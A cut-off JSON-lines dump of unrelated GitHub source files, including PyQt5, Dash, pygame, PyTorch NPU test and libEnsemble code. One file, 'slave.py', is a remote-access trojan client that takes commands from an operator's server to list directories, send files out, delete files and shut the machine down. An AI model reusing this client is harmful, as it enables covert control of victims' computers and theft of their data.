# Закрытие игры\n pygame.quit()\n\n\ngame()\n","repo_name":"OvOlzhas/DeathClicks","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1351,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"14116910718","text":"import sys\n\nfrom PyQt5.QtCore import Qt, QMimeData\nfrom PyQt5.QtGui import QDrag\nfrom PyQt5.QtWidgets import QWidget, QLineEdit, QApplication, QSplitter, QHBoxLayout\n\n\nclass MyLineEdit(QLineEdit):\n def __init__(self, parent):\n super().__init__(parent)\n self.setAcceptDrops(True)\n\n def dragMoveEvent(self, event):\n drag = QDrag(self)\n mime = QMimeData()\n drag.setMimeData(mime)\n drag.exec(Qt.CopyAction)\n\n def dragEnterEvent(self, event):\n if event.mimeData().hasText():\n event.accept()\n else:\n event.ignore()\n\n def dropEvent(self, event):\n self.setText(event.mimeData().text())\n event.source().setText(\"\")\n\n\nclass SimpleDrag(QWidget):\n def __init__(self):\n super().__init__()\n\n self.initUI()\n\n def initUI(self):\n hlayout = QHBoxLayout(self)\n edit1 = MyLineEdit(self)\n edit1.setDragEnabled(True)\n edit2 = MyLineEdit(self)\n edit2.setDragEnabled(True)\n\n splitter = QSplitter(Qt.Horizontal)\n splitter.addWidget(edit1)\n splitter.addWidget(edit2)\n hlayout.addWidget(splitter)\n self.setLayout(hlayout)\n self.setWindowTitle('简易的拖动事件')\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n ex = SimpleDrag()\n ex.show()\n app.exec_()","repo_name":"simi-ck/Pyqt5-2","sub_path":"pyqt5-master/src/drapclip/DragDrop2.py","file_name":"DragDrop2.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"27732757470","text":"import re\nimport unicodedata\n\nSOS_token = 0\nEOS_token = 1\n\nclass Lang:\n def __init__(self, name):\n self.name = name\n self.char2index = {}\n self.char2count = {}\n self.index2char = {0: \"SOS\", 1: \"EOS\"}\n self.n_words = 2 # Count SOS and EOS\n\n def addWord(self, word):\n for char in word:\n self.addChar(char)\n\n def addChar(self, char):\n if char not in self.char2index:\n self.char2index[char] = self.n_words\n self.char2count[char] = 1\n self.index2char[self.n_words] = char \n self.n_words += 1\n else:\n self.char2count[char] += 1\n\ndef unicodeToAscii(s):\n return ''.join(\n c for c in unicodedata.normalize('NFD', s)\n if unicodedata.category(c) != 'Mn'\n )\n\ndef normalizeString(s):\n s = unicodeToAscii(s.lower().strip())\n s = re.sub(r\"([.!?])\", r\" \\1\", s)\n s = re.sub(r\"[^a-zA-Z.!?]+\", r\" \", s)\n return s\n\ndef readLangs(lang, path):\n # Read the file and split into lines\n lines = open(path, encoding='utf-8').\\\n read().strip().split('\\n')\n\n # Split every line into pairs and normalize\n pairs = [[normalizeString(s) for s in l.split(' ')] for l in lines]\n\n input_lang = Lang(lang)\n\n return input_lang, pairs\n\ndef prepareData(lang, path):\n input_lang, pairs = readLangs(lang, path)\n print(\"Read %s words sequences\" % len(pairs))\n print(\"Trimmed to %s sentence pairs\" % len(pairs))\n print(\"Counting words...\")\n for pair in pairs:\n for p in pair:\n input_lang.addWord(p)\n print(\"Counted words:\")\n print(input_lang.name, input_lang.n_words)\n return input_lang, pairs\n","repo_name":"yuan310979/NCTU-DL","sub_path":"Lab5/utils/data/dataloader.py","file_name":"dataloader.py","file_ext":"py","file_size_in_byte":1681,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"15421759959","text":"# -*- coding: utf-8 -*-\n\n\ndef mwis(weight):\n \"\"\"\n maximum weighted independent sets\n \"\"\"\n n = len(weight)\n d = [0]\n d.append(weight[0])\n for i in range(2,len(weight)+1):\n d.append( max(d[i-1], d[i-2]+weight[i-1]) )\n \n exist = ''\n i = n-1\n while i >= 0:\n if d[i+1] == d[i]:\n exist = '0' + exist\n i -= 1\n else:\n exist = '01' + exist\n i -= 2\n if i == -2:\n exist = exist[1:]\n return exist\n\nif __name__ == '__main__':\n f = open('mwis.txt')\n n = int(f.readline())\n weight = []\n for i in range(n):\n data = f.readline()\n w = float(data)\n weight.append(float(w))\n f.close()\n sol = mwis(weight)\n pos = [1, 2, 3, 4, 17, 117, 517, 997]\n res = ''\n for i in pos:\n if i <= n:\n res = res + sol[i-1]\n else:\n res = res + '0'\n \n print(res)\n","repo_name":"LSijing/Algorithms-Stanford","sub_path":"c3-greedy-dp/mwis.py","file_name":"mwis.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"22873829197","text":"import dash\nfrom dash import dcc\nfrom dash import html\nimport pandas as pd\nimport plotly.express as px\n\n# Read the data into a pandas DataFrame\ndata = pd.read_csv('datasets/combined_expenses.csv', low_memory=(False))\n\n# Create the Dash application\napp = dash.Dash(__name__)\n\n# # Set up the layout\napp.layout = html.Div(\n children=[\n html.H1(\"MP's Expenses\", style={'text-align': 'center'}),\n html.Div(\n children=[\n dcc.Dropdown(\n id='dropdown-type',\n options=[{'label': t, 'value': t} for t in data['type'].unique()],\n placeholder='Filter by Type',\n multi=True\n ),\n dcc.Dropdown(\n id='dropdown-subtype',\n placeholder='Filter by Sub Type',\n multi=True\n ),\n dcc.Dropdown(\n id='dropdown-name',\n options=[{'label': n, 'value': n} for n in data['name'].unique()],\n placeholder='Filter by Name',\n multi=True\n )\n ],\n style={'width': '30%', 'float': 'left'}\n ),\n html.Div(\n children=[\n dcc.Graph(id='bar-chart')\n ],\n style={'width': '70%', 'display': 'inline-block'}\n ),\n html.Div(id='table-div')\n ]\n)\n\n\n# Callback for updating the sub-type dropdown based on the selected type\n@app.callback(\n dash.dependencies.Output('dropdown-subtype', 'options'),\n [dash.dependencies.Input('dropdown-type', 'value')]\n)\ndef update_subtype_dropdown(selected_types):\n if selected_types:\n filtered_data = data[data['type'].isin(selected_types)]\n subtypes = filtered_data['sub_type'].unique()\n return [{'label': st, 'value': st} for st in subtypes]\n else:\n return []\n\n\n# Callback for updating the table based on the selected type\n@app.callback(\n dash.dependencies.Output('table-div', 'children'),\n [dash.dependencies.Input('bar-chart', 'clickData')]\n)\ndef update_table(click_data):\n if click_data:\n selected_type = click_data['points'][0]['x']\n filtered_data = data[data['type'] == selected_type]\n table = html.Table(\n children=[\n html.Tr(\n children=[\n html.Th(col) for col in filtered_data.columns\n ]\n )\n ] + [\n html.Tr(\n children=[\n html.Td(str(filtered_data.iloc[i][col])) for col in filtered_data.columns\n ]\n ) for i in range(len(filtered_data))\n ]\n )\n return table\n else:\n return html.Table()\n\n# Run the application\nif __name__ == '__main__':\n app.run_server(debug=True)\n\n def test():\n pass\n \n","repo_name":"amitl7/mp-expenses","sub_path":"mp_expenses/dashboard/Dash.py","file_name":"Dash.py","file_ext":"py","file_size_in_byte":2924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"34634070729","text":"from time import time\n\n\nclass TimeOut:\n\n def __init__(self, threshold):\n self.current_time = 0\n self.threshold = threshold\n self.is_suspended = False\n\n def check(self, update, context):\n if time() - self.current_time < self.threshold:\n self.is_suspended = True\n chat_id = update.message.chat_id\n # for 5 minutes\n new_job = context.job_queue.run_once(self.realise_suspend, 2 * 60, context=chat_id)\n context.chat_data['job'] = new_job\n return False\n self.current_time = time()\n return True\n\n def realise_suspend(self, _):\n self.is_suspended = False\n","repo_name":"Zillibub/clean_bot","sub_path":"timeout.py","file_name":"timeout.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"27"} +{"seq_id":"22215505499","text":"import os\nimport pandas as pd\nfrom operator import itemgetter\nimport random as rand\nimport numpy\nfrom correlate_FFY import file_is_male\nfrom correlate_FFY import get_files\n\n\ndef get_good_bins(correlation_vals_file, min_correlation_val, min_good_lengths):\n good_bins = []\n for line in open(correlation_vals_file):\n if '80,81' in line:\n continue\n content = line.strip().split(',')\n bins = content[0]\n n = 0\n for item in content[1:]:\n if abs(float(item)) >= min_correlation_val:\n n += 1\n if n >= min_good_lengths:\n good_bins.append(bins)\n return good_bins\n\ndef combine_bins(frac_file_dir,correlation_vals_file, good_bin_csv, read_length_csv, min_correlation_val, min_good_lengths, test_input = False, train_input = False):\n\n if train_input == True:\n files = get_files(frac_file_dir, train = True)\n\n good_bins = get_good_bins(correlation_vals_file, min_correlation_val, min_good_lengths)\n with open(good_bin_csv, 'w') as file:\n for item in good_bins:\n file.writelines(item+'\\n')\n\n for line in open(files[0]):\n if 'vidual' in line:\n content = line.strip().split(',')\n read_lengths = content[3:]\n break\n with open(read_length_csv, 'w') as file:\n for item in read_lengths:\n file.writelines(item + '\\n')\n elif test_input == True:\n files = get_files(frac_file_dir, test = True)\n good_bins = []\n read_lengths = []\n for line in open(good_bin_csv):\n good_bins.append(line.strip())\n for line in open(read_length_csv):\n read_lengths.append(line.strip())\n\n avg_frac = {}\n \n for file in files:\n ind = str(file.split('/')[-1]).replace('.bamoutput.csv','')\n avg_frac[ind] = {}\n df = pd.read_csv(file)\n df_good = df[df['bin'].isin(good_bins)]\n FFY = df_good['FFY'].mean()\n avg_frac[ind]['FFY'] = FFY\n for rl in read_lengths:\n avg = df_good[rl].mean()\n avg_frac[ind][rl] = avg\n df = pd.DataFrame.from_dict(avg_frac, orient = 'columns')\n return df\n\ndef predict_input(frac_file_dir, good_bin_csv, read_length_csv, test_input = True):\n combined_bins = combine_bins(frac_file_dir, None, good_bin_csv, read_length_csv, None, None, test_input = True)\n df = pd.DataFrame.from_dict(combined_bins, orient='columns')\n return df\n\n\ndef combined_bins_output(frac_file_dir,correlation_vals_file, good_bins_csv, read_length_csv, output_file, min_correlation_val, min_good_lengths, test_input = False, train_input = False):\n combined_bins = combine_bins(frac_file_dir,correlation_vals_file, good_bin_csv, read_length_csv,min_correlation_val, min_good_lengths, test_input = test_input, train_input = train_input)\n read_lengths = []\n file = open(output_file, 'w')\n inds = list(combined_bins.keys())\n file.writelines('Individual,FFY')\n for rl in combined_bins[inds[0]]:\n if rl == 'FFY':\n continue\n file.writelines(',' + str(rl))\n read_lengths.append(rl)\n file.writelines('\\n')\n print(len(read_lengths))\n for ind in inds:\n FFY = combined_bins[ind]['FFY']\n file.writelines(ind + ',' + str(FFY))\n for rl in read_lengths:\n file.writelines(',' + str(combined_bins[ind][rl]))\n file.writelines('\\n')\n\n\n","repo_name":"Esmeetbdb/Predict_FF","sub_path":"model_input.py","file_name":"model_input.py","file_ext":"py","file_size_in_byte":3457,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"27"} +{"seq_id":"29170672657","text":"import requests\r\n\r\nbaseurl = \"http://www.baidu.com/s?\"\r\nheaders = {\"User-Agent\":\"Mozilla/5.0\"}\r\n\r\n# 终端输入\r\nkey = input(\"搜索内容:\")\r\npn = input(\"输入页数:\")\r\npn = (int(pn) - 1) * 10\r\n# 把所有查询参数定义为字典\r\nparams = {\r\n \"wd\" : key,\r\n \"pn\" : pn,\r\n }\r\n# 无需拼接URL,也不用URL编码\r\n# 自动URL编码,自动拼接URL地址\r\nres = requests.get(baseurl,\r\n params=params,\r\n headers=headers)\r\nres.encoding = \"utf-8\"\r\nhtml = res.text\r\nprint(html)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"XxysGit/xxySpiderFile","sub_path":"day03/04_查询参数params.py","file_name":"04_查询参数params.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"32422024461","text":"from typing import List\nimport collections\n\nclass Poly(collections.Counter):\n def __add__(self, other):\n self.update(other)\n return self\n def __sub__(self, other):\n self.update({k: -v for k, v in other.items()})\n return self\n def __mul__(self, other):\n ans = Poly()\n for k1, v1 in self.items():\n for k2, v2 in other.items():\n ans.update({tuple(sorted(k1 + k2)): v1 * v2})\n return ans\n def evaluate(self, evalmap):\n ans = Poly()\n for k, c in self.items():\n free = []\n for token in k:\n if token in evalmap:\n c *= evalmap[token]\n else:\n free.append(token)\n ans[tuple(free)] += c\n return ans\n def to_list(self):\n return [ \"*\".join((str(v),) + k) for k, v in sorted(\n self.items(), key = lambda x: (-len(x[0]), x[0], x[1])\n ) if v]\n\nclass Solution(object):\n def basicCalculatorIV(self, expression, evalvars, evalints):\n evalmap = dict(zip(evalvars, evalints))\n def combine(left, right, symbol):\n if symbol == '+': return left + right\n if symbol == '-': return left - right\n if symbol == '*': return left * right\n raise\n def make(expr):\n ans = Poly()\n if expr.isdigit():\n ans.update({(): int(expr)})\n else:\n ans[(expr,)] += 1\n return ans\n def parse(expr):\n bucket = []\n symbols = []\n i = 0\n while i < len(expr):\n if expr[i] == '(':\n bal = 0\n for j in range(i, len(expr)):\n if expr[j] == '(': bal += 1\n if expr[j] == ')': bal -= 1\n if bal == 0: break\n bucket.append(parse(expr[i+1:j]))\n i = j\n elif expr[i].isalnum():\n for j in range(i, len(expr)):\n if expr[j] == ' ':\n bucket.append(make(expr[i:j]))\n break\n else:\n bucket.append(make(expr[i:]))\n i = j\n elif expr[i] in '+-*':\n symbols.append(expr[i])\n i += 1\n for i in range(len(symbols) - 1, -1, -1):\n if symbols[i] == '*':\n bucket[i] = combine(bucket[i], bucket.pop(i + 1), symbols.pop(i))\n if not bucket: return Poly()\n ans = bucket[0]\n for i, symbol in enumerate(symbols, 1):\n ans = combine(ans, bucket[i], symbol)\n return ans\n parsed = parse(expression).evaluate(evalmap)\n return parsed.to_list()\n\nif __name__ == '__main__':\n solver = Solution()\n cases = [\n (\"e + 8 - a + 5\", [\"e\"], [1]),\n (\"(e + 8) * (e - 8)\", [], []),\n (\"a * b * c + b * a * c * 4\", [\"a\"], [2]),\n (\"((a - b) * (b - c) + (c - a)) * ((a - b) + (b - c) * (c - a))\", [], []),\n (\"((a - b) * (b - c) + (c - a)) * ((a - b) + (b - c) * (c - a))\", [\"c\"], [4]),\n ]\n rslts = [solver.basicCalculatorIV(expression, evalvars, evalints) for expression, evalvars, evalints in cases]\n for cs, rs in zip(cases, rslts):\n print(f\"case: {cs} | solution: {rs}\") \n","repo_name":"gyang274/leetcode","sub_path":"src/0700-0799/0770.basic.calculator.py","file_name":"0770.basic.calculator.py","file_ext":"py","file_size_in_byte":2909,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"6627999319","text":"import torch\nimport numpy as np\nimport sys\nfrom torch.nn import functional as F\nfrom common_utils import TestCase, run_tests\nfrom common_device_type import dtypes, instantiate_device_type_tests\nfrom util_test import create_common_tensor\n\nclass TestAdaptiveAvgPool3dBackward(TestCase):\n\n def cpu_op_exec(self, input_x, output_size):\n input_x.requires_grad_(True)\n m = torch.nn.AdaptiveAvgPool3d(output_size)\n output = m(input_x)\n ones = torch.ones_like(output)\n output.backward(ones)\n out = input_x.grad\n return out.numpy()\n\n def npu_op_exec(self, input_x, output_size):\n input_x.requires_grad_(True)\n m = torch.nn.AdaptiveAvgPool3d( output_size)\n output = m(input_x)\n ones = torch.ones_like(output)\n output.backward(ones)\n out = input_x.grad.cpu()\n return out.numpy()\n\n def test_adaptiveAvgPool3d_backward(self, device):\n dtype_list = [np.float16, np.float32]\n format_list = [-1]\n shape_list = [\n [2, 3, 7, 7],\n [1, 2, 3, 6, 6],\n [6, 5, 8, 10],\n [2, 5, 6, 8, 9]\n ]\n shape_format = [\n [i, j, k] for i in dtype_list for j in format_list for k in shape_list\n ]\n output_sizes = [[1, 1, 1]]\n for item in shape_format:\n cpu_input, npu_input = create_common_tensor(item, 1, 10)\n for output_size in output_sizes:\n cpu_output = self.cpu_op_exec(cpu_input, output_size)\n npu_output = self.npu_op_exec(npu_input, output_size)\n\n self.assertRtolEqual(cpu_output, npu_output)\n\ninstantiate_device_type_tests(TestAdaptiveAvgPool3dBackward, globals(), except_for=\"cpu\")\nif __name__ == \"__main__\":\n run_tests()\n","repo_name":"Ascend/pytorch_18","sub_path":"test/test_npu/test_network_ops/test_adaptive_avg_pool3d_backward.py","file_name":"test_adaptive_avg_pool3d_backward.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"32038153394","text":"#Command list\r\n# view_cwd - will show all files in the directory where the file is running\r\n# custom_dir - will show all files from custom directory\r\n# download_files - will download files from directory\r\n# remove_files - will remove file from directory\r\n# send_files - will send file to directory\r\n\r\nimport os\r\nimport socket\r\n\r\ns = socket.socket()\r\nport=9999\r\nhost = input (str(\"Please enter the server address : \"))\r\ns.connect((host,port))\r\nprint(\"\")\r\nprint(\"Connected to the server succesfully\")\r\nprint(\"\")\r\n\r\n# connection has been completed\r\n\r\n#command recieving and execution\r\nwhile 1:\r\n command = s.recv(1024)\r\n command = command.decode()\r\n print(\"Command recieved\")\r\n print(\"\")\r\n if command == \"view_cwd\":\r\n files = os.getcwd()\r\n files = str(files)\r\n s.send(files.encode())\r\n print(\"Command has been executed successfully..\")\r\n\r\n elif command == \"custom_dir\":\r\n user_input = s.recv(5000)\r\n user_input = user_input.decode()\r\n files = os.listdir(user_input)\r\n files = str(files)\r\n s.send(files.encode())\r\n print(\"\")\r\n print(\"Command has been executed successfully..\")\r\n print(\"\")\r\n\r\n elif command == \"download_files\":\r\n file_path = s.recv(5000)\r\n file_path = file_path.decode()\r\n file = open(file_path, \"rb\")\r\n data = file.read()\r\n s.send(data.decode())\r\n print(\"\")\r\n print(\"File has been sent successfully\")\r\n print(\"\")\r\n \r\n elif command == \"remove_files\":\r\n fileanddir = s.recv(6000)\r\n fileanddir = fileanddir.decode()\r\n os.remove(fileanddir)\r\n print(\"\")\r\n print(\"Command has been executed successfully\")\r\n print(\"\")\r\n\r\n elif command == \"send_files\":\r\n filename = s.recv(6000)\r\n print(filename)\r\n new_file = open(filename, \"wb\")\r\n data = s.recv(6000) #change when file is too big\r\n print(data)\r\n new_file.write(data)\r\n new_file.close()\r\n\r\n elif command == \"shutdown\":\r\n os.system(\"shutdown -s -f\")\r\n\r\n else:\r\n print(\"\")\r\n print(\"Command not recognized\") \r\n ","repo_name":"sleepyboi56/sleepys-projects-idk","sub_path":"rat/example slave destination/slave.py","file_name":"slave.py","file_ext":"py","file_size_in_byte":2162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"21182023751","text":"\"\"\"\nThe libE module is the outer libEnsemble routine.\n\nThis module sets up the manager and the team of workers, configured according\nto the contents of :ref:`libE_specs`. The manager/worker\ncommunications scheme used in libEnsemble is parsed from the ``comms`` key\nif present, with valid values being ``mpi``, ``local`` (for multiprocessing), or\n``tcp``. MPI is the default; if a communicator is specified, each call to this\nmodule will initiate manager/worker communications on a duplicate of that\ncommunicator. Otherwise, a duplicate of ``COMM_WORLD`` will be used.\n\nIn the vast majority of cases, programming with libEnsemble involves the creation\nof a *calling script*, a Python file where libEnsemble is parameterized via\nthe various specification dictionaries (e.g. :ref:`libE_specs`,\n:ref:`sim_specs`, and :ref:`gen_specs`). The\nouter libEnsemble routine :meth:`libE()` is imported and called with such\ndictionaries to initiate libEnsemble. A simple calling script\n(from :doc:`the first tutorial`) may resemble:\n\n.. code-block:: python\n :linenos:\n\n import numpy as np\n from libensemble.libE import libE\n from generator import gen_random_sample\n from simulator import sim_find_sine\n from libensemble.tools import add_unique_random_streams\n\n nworkers, is_manager, libE_specs, _ = parse_args()\n\n libE_specs[\"save_every_k_gens\"] = 20\n\n gen_specs = {\n \"gen_f\": gen_random_sample,\n \"out\": [(\"x\", float, (1,))],\n \"user\": {\"lower\": np.array([-3]), \"upper\": np.array([3]), \"gen_batch_size\": 5},\n }\n\n sim_specs = {\"sim_f\": sim_find_sine, \"in\": [\"x\"], \"out\": [(\"y\", float)]}\n\n persis_info = add_unique_random_streams({}, nworkers + 1)\n\n exit_criteria = {\"sim_max\": 80}\n\n H, persis_info, flag = libE(sim_specs, gen_specs, exit_criteria, persis_info, libE_specs=libE_specs)\n\nThis will initiate libEnsemble with a Manager and ``nworkers`` workers (parsed from\nthe command line), and runs on laptops or supercomputers. If an exception is\nencountered by the manager or workers, the history array is dumped to file, and\nMPI abort is called.\n\nOn macOS (since Python 3.8) and Windows, the default multiprocessing start method is ``\"spawn\"``\nand you must place most calling script code (or just ``libE()`` / ``Ensemble().run()`` at a minimum) in\nan ``if __name__ == \"__main__:\"`` block.\n\nTherefore a calling script that is universal across\nall platforms and comms-types may resemble:\n\n.. code-block:: python\n :linenos:\n\n import numpy as np\n from libensemble.libE import libE\n from generator import gen_random_sample\n from simulator import sim_find_sine\n from libensemble.tools import add_unique_random_streams\n\n if __name__ == \"__main__\":\n nworkers, is_manager, libE_specs, _ = parse_args()\n\n libE_specs[\"save_every_k_gens\"] = 20\n\n gen_specs = {\n \"gen_f\": gen_random_sample,\n \"out\": [(\"x\", float, (1,))],\n \"user\": {\n \"lower\": np.array([-3]),\n \"upper\": np.array([3]),\n \"gen_batch_size\": 5,\n },\n }\n\n sim_specs = {\n \"sim_f\": sim_find_sine,\n \"in\": [\"x\"],\n \"out\": [(\"y\", float)],\n }\n\n persis_info = add_unique_random_streams({}, nworkers + 1)\n\n exit_criteria = {\"sim_max\": 80}\n\n H, persis_info, flag = libE(sim_specs, gen_specs, exit_criteria, persis_info, libE_specs=libE_specs)\n\nAlternatively, you may set the multiprocessing start method to ``\"fork\"`` via the following:\n\n.. code-block:: python\n :linenos:\n\n from multiprocessing import set_start_method\n\n set_start_method(\"fork\")\n\nBut note that this is incompatible with some libraries.\n\nSee below for the complete traditional API.\n\"\"\"\n\n__all__ = [\"libE\"]\n\nimport logging\nimport os\nimport pickle # Only used when saving output on error\nimport socket\nimport sys\nimport traceback\nfrom pathlib import Path\nfrom typing import Callable, Dict\n\nimport numpy as np\n\nfrom libensemble.comms.comms import QCommProcess, Timeout, QCommThread\nfrom libensemble.comms.logs import manager_logging_config\nfrom libensemble.comms.tcp_mgr import ClientQCommManager, ServerQCommManager\nfrom libensemble.executors.executor import Executor\nfrom libensemble.executors.mpi_executor import MPIExecutor\nfrom libensemble.history import History\nfrom libensemble.manager import LoggedException, WorkerException, manager_main, report_worker_exc\nfrom libensemble.resources.platforms import get_platform\nfrom libensemble.resources.resources import Resources\nfrom libensemble.specs import AllocSpecs, ExitCriteria, GenSpecs, LibeSpecs, SimSpecs, _EnsembleSpecs\nfrom libensemble.tools.alloc_support import AllocSupport\nfrom libensemble.tools.tools import _USER_SIM_ID_WARNING\nfrom libensemble.utils import launcher\nfrom libensemble.utils.timer import Timer\nfrom libensemble.version import __version__\nfrom libensemble.worker import worker_main\n\nlogger = logging.getLogger(__name__)\n# To change logging level for just this module\n# logger.setLevel(logging.DEBUG)\n\n\ndef libE(\n sim_specs: SimSpecs,\n gen_specs: GenSpecs,\n exit_criteria: ExitCriteria,\n persis_info: Dict = {},\n alloc_specs: AllocSpecs = AllocSpecs(),\n libE_specs: LibeSpecs = {},\n H0=None,\n) -> (np.ndarray, Dict, int):\n \"\"\"\n Parameters\n ----------\n\n sim_specs: :obj:`dict` or :class:`SimSpecs`\n\n Specifications for the simulation function\n :doc:`(example)`\n\n gen_specs: :obj:`dict` or :class:`GenSpecs`, Optional\n\n Specifications for the generator function\n :doc:`(example)`\n\n exit_criteria: :obj:`dict` or :class:`ExitCriteria`, Optional\n\n Tell libEnsemble when to stop a run\n :doc:`(example)`\n\n persis_info: :obj:`dict`, Optional\n\n Persistent information to be passed between user functions\n :doc:`(example)`\n\n alloc_specs: :obj:`dict` or :class:`AllocSpecs`, Optional\n\n Specifications for the allocation function\n :doc:`(example)`\n\n libE_specs: :obj:`dict` or :class:`LibeSpecs`, Optional\n\n Specifications for libEnsemble\n :doc:`(example)`\n\n H0: `NumPy structured array `_, Optional\n\n A libEnsemble history to be prepended to this run's history\n :ref:`(example)`\n\n Returns\n -------\n\n H: `NumPy structured array `_\n\n History array storing rows for each point.\n :ref:`(example)`\n\n persis_info: :obj:`dict`\n\n Final state of persistent information\n :doc:`(example)`\n\n exit_flag: :obj:`int`\n\n Flag containing final task status\n\n .. code-block::\n\n 0 = No errors\n 1 = Exception occurred\n 2 = Manager timed out and ended simulation\n 3 = Current process is not in libEnsemble MPI communicator\n \"\"\"\n\n if H0 is None:\n H0 = np.empty([0])\n\n # check *everything*\n ensemble = _EnsembleSpecs(\n H0=H0,\n libE_specs=libE_specs,\n persis_info=persis_info,\n sim_specs=sim_specs,\n gen_specs=gen_specs,\n alloc_specs=alloc_specs,\n exit_criteria=exit_criteria,\n )\n\n # get corresponding dictionaries back (casted in libE() def)\n sim_specs = ensemble.sim_specs.dict(by_alias=True)\n gen_specs = ensemble.gen_specs.dict(by_alias=True)\n exit_criteria = ensemble.exit_criteria.dict(by_alias=True, exclude_none=True)\n alloc_specs = ensemble.alloc_specs.dict(by_alias=True)\n libE_specs = ensemble.libE_specs.dict(by_alias=True)\n\n # Extract platform info from settings or environment\n platform_info = get_platform(libE_specs)\n\n if libE_specs[\"dry_run\"]:\n logger.manager_warning(\"Dry run. All libE() inputs validated. Exiting.\")\n sys.exit()\n\n libE_funcs = {\"mpi\": libE_mpi, \"tcp\": libE_tcp, \"local\": libE_local, \"local_threading\": libE_local}\n\n Resources.init_resources(libE_specs, platform_info)\n if Executor.executor is not None:\n Executor.executor.add_platform_info(platform_info)\n\n # Reset gen counter.\n AllocSupport.gen_counter = 0\n\n return libE_funcs[libE_specs.get(\"comms\", \"mpi\")](\n sim_specs, gen_specs, exit_criteria, persis_info, alloc_specs, libE_specs, H0\n )\n\n\ndef manager(\n wcomms,\n sim_specs,\n gen_specs,\n exit_criteria,\n persis_info,\n alloc_specs,\n libE_specs,\n hist: np.ndarray,\n on_abort: Callable = None,\n on_cleanup: Callable = None,\n):\n \"\"\"Generic manager routine run.\"\"\"\n logger.info(\"Logger initializing: [workerID] precedes each line. [0] = Manager\")\n logger.info(f\"libE version v{__version__}\")\n\n if \"out\" in gen_specs and (\"sim_id\", int) in gen_specs[\"out\"]:\n if \"libensemble.gen_funcs\" not in gen_specs[\"gen_f\"].__module__:\n logger.manager_warning(_USER_SIM_ID_WARNING)\n\n try:\n try:\n persis_info, exit_flag, elapsed_time = manager_main(\n hist, libE_specs, alloc_specs, sim_specs, gen_specs, exit_criteria, persis_info, wcomms\n )\n logger.info(f\"Manager total time: {elapsed_time}\")\n except LoggedException:\n # Exception already logged in manager\n raise\n except WorkerException as e:\n report_worker_exc(e)\n raise LoggedException(e.args[0], e.args[1]) from None\n except Exception as e:\n logger.error(traceback.format_exc())\n raise LoggedException(e.args) from None\n except Exception as e:\n exit_flag = 1 # Only exits if no abort/raise\n _dump_on_abort(\n hist, persis_info, save_H=libE_specs[\"save_H_and_persis_on_abort\"], path=libE_specs.get(\"workflow_dir_path\")\n )\n if libE_specs[\"abort_on_exception\"] and on_abort is not None:\n on_cleanup()\n on_abort()\n raise LoggedException(*e.args, \"See error details above and in ensemble.log\") from None\n else:\n logger.debug(\"Manager exiting\")\n logger.debug(f\"Exiting with {len(wcomms)} workers.\")\n logger.debug(f\"Exiting with exit criteria: {exit_criteria}\")\n finally:\n if on_cleanup is not None:\n on_cleanup()\n\n H = hist.trim_H()\n return H, persis_info, exit_flag\n\n\n# ==================== MPI version =================================\n\n\nclass DupComm:\n \"\"\"Duplicate MPI communicator for use with a with statement\"\"\"\n\n def __init__(self, mpi_comm):\n self.parent_comm = mpi_comm\n\n def __enter__(self):\n self.dup_comm = self.parent_comm.Dup()\n return self.dup_comm\n\n def __exit__(self, etype, value, traceback):\n self.dup_comm.Free()\n\n\ndef comms_abort(mpi_comm):\n \"\"\"Abort all MPI ranks\"\"\"\n mpi_comm.Abort(1) # Exit code 1 to represent an abort\n\n\ndef libE_mpi(sim_specs, gen_specs, exit_criteria, persis_info, alloc_specs, libE_specs, H0):\n \"\"\"MPI version of the libE main routine\"\"\"\n from mpi4py import MPI\n\n if libE_specs.get(\"mpi_comm\") is None:\n libE_specs[\"mpi_comm\"] = MPI.COMM_WORLD # Will be duplicated immediately\n\n if libE_specs[\"mpi_comm\"] == MPI.COMM_NULL:\n logger.manager_warning(\"*WARNING* libEnsemble detected a NULL communicator\")\n return [], persis_info, 3 # Process not in mpi_comm\n\n assert libE_specs[\"mpi_comm\"].Get_size() > 1, \"Manager only - must be at least one worker (2 MPI tasks)\"\n\n with DupComm(libE_specs[\"mpi_comm\"]) as mpi_comm:\n is_manager = mpi_comm.Get_rank() == 0\n\n resources = Resources.resources\n if resources is not None:\n local_host = socket.gethostname()\n libE_nodes = list(set(mpi_comm.allgather(local_host)))\n resources.add_comm_info(libE_nodes=libE_nodes)\n nworkers = mpi_comm.Get_size() - 1\n\n exctr = Executor.executor\n if exctr is not None:\n exctr.set_resources(resources)\n if is_manager:\n exctr.serial_setup()\n\n # Run manager or worker code, depending\n if is_manager:\n if resources is not None:\n resources.set_resource_manager(nworkers)\n return libE_mpi_manager(\n mpi_comm, sim_specs, gen_specs, exit_criteria, persis_info, alloc_specs, libE_specs, H0\n )\n\n # Worker returns a subset of MPI output\n return libE_mpi_worker(mpi_comm, sim_specs, gen_specs, libE_specs)\n\n\ndef libE_mpi_manager(mpi_comm, sim_specs, gen_specs, exit_criteria, persis_info, alloc_specs, libE_specs, H0):\n \"\"\"Manager routine runs on rank 0.\"\"\"\n from libensemble.comms.mpi import MainMPIComm\n\n if not libE_specs[\"disable_log_files\"]:\n exit_logger = 